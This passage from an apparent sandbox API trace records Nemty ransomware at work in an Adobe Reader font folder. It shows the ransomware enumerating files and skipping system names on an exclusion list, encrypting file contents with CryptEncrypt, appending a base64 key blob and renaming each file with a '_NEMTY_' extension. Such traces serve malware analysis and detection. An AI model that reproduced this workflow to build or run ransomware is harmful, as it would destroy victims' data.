dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7208b2 [0194.908] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.908] SetFilePointer (in: hFile=0x254, lDistanceToMove=7633330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7479b2 [0194.908] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x27100, lpOverlapped=0x0) returned 1 [0194.918] SetFilePointer (in: hFile=0x254, lDistanceToMove=7633330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7479b2 [0194.918] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x27100, lpOverlapped=0x0) returned 1 [0194.918] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.918] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.926] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.927] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.927] SetFilePointer (in: hFile=0x254, lDistanceToMove=15484260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec4564 [0194.927] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.935] SetFilePointer (in: hFile=0x254, lDistanceToMove=15484260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec4564 [0194.935] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.935] SetFilePointer (in: hFile=0x254, lDistanceToMove=15586660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd564 [0194.935] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.936] CloseHandle (hObject=0x254) returned 1 [0194.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.936] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf._nemty_kgobjgd_")) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.937] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="KOZGOP~1.OTF")) returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2=".") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="..") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="...") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="windows") returned -1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="rsa") returned -1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="NTDETECT.COM") returned -1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="ntldr") returned -1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="MSDOS.SYS") returned -1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="IO.SYS") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="boot.ini") returned 1 [0194.937] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="boot.ini") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="AUTOEXEC.BAT") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="ntuser.dat") returned -1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="desktop.ini") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="CONFIG.SYS") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="RECYCLER") returned -1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="BOOTSECT.BAK") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="bootmgr") returned 1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="programdata") returned -1 [0194.938] lstrcmpiW (lpString1="KozGoPr6N-Medium.otf", lpString2="appdata") returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozGoPr6N-Medium.otf", lpUsedDefaultChar=0x0) returned 20 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozGoPr6N-Medium.otf", lpUsedDefaultChar=0x0) returned 20 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozGoPr6N-Medium.otf", lpUsedDefaultChar=0x0) returned 20 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozGoPr6N-Medium.otf", lpUsedDefaultChar=0x0) returned 20 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94390 [0194.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0194.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0194.938] Sleep (dwMilliseconds=0x5) [0194.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27d8c410, dwHighDateTime=0x1d561e8)) [0194.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27d8c410, dwHighDateTime=0x1d561e8)) [0194.951] GetLastError () returned 0x0 [0194.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.951] GetLastError () returned 0x0 [0194.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.951] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.951] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.952] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.952] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="b76XyHrI8bfkYrFpfPuSnhBx1a3fVL4nSdgmKnqOpAH0UQQH60gK5QI793J7of5n\r\n5a5TJYXQj3Qdg0aLNzn5U2oJrjVN2ToaezW/85KqFrU558eG7Ssiqwuh8B2mZ2fi\r\nt6S9Mrc+24ihh4/v1V2w6hqHfFFYYVMrPK8Un1mSmlneyj2IudKug8dw5KMN2AHD\r\nrAz60qS+haEtJb5Hy/p4+xeXaVm4ZbQHkf+L0bVk//aA/2gh6U6FLqDmP4uPVByz\r\nc7w1kksshhX+bsjXtVvtEWRQWpMUvoRiYcQYa/3khQsJewNnf5eXnWmS1n3J0Kdv\r\nO7oFMr0CfT/2CDt9cvoZJg==\r\n", pcchString=0x653e91c) returned 1 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.952] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=5499164) returned 1 [0194.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0194.952] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.953] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.963] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.963] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.963] SetFilePointer (in: hFile=0x254, lDistanceToMove=5499164, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53e91c [0194.963] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.967] CloseHandle (hObject=0x254) returned 1 [0194.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0194.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0194.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0194.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.967] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf._nemty_kgobjgd_")) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.968] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 1 [0194.968] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2=".") returned 1 [0194.968] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="..") returned 1 [0194.968] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="...") returned 1 [0194.968] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="windows") returned -1 [0194.968] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="rsa") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="ntldr") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="IO.SYS") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="boot.ini") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="boot.ini") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="AUTOEXEC.BAT") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="ntuser.dat") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="desktop.ini") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="CONFIG.SYS") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="RECYCLER") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="BOOTSECT.BAK") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="bootmgr") returned 1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="programdata") returned -1 [0194.969] lstrcmpiW (lpString1="KozMinPr6N-Regular.otf", lpString2="appdata") returned 1 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozMinPr6N-Regular.otf", lpUsedDefaultChar=0x0) returned 22 [0194.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozMinPr6N-Regular.otf", lpUsedDefaultChar=0x0) returned 22 [0194.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0194.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozMinPr6N-Regular.otf", cchWideChar=22, 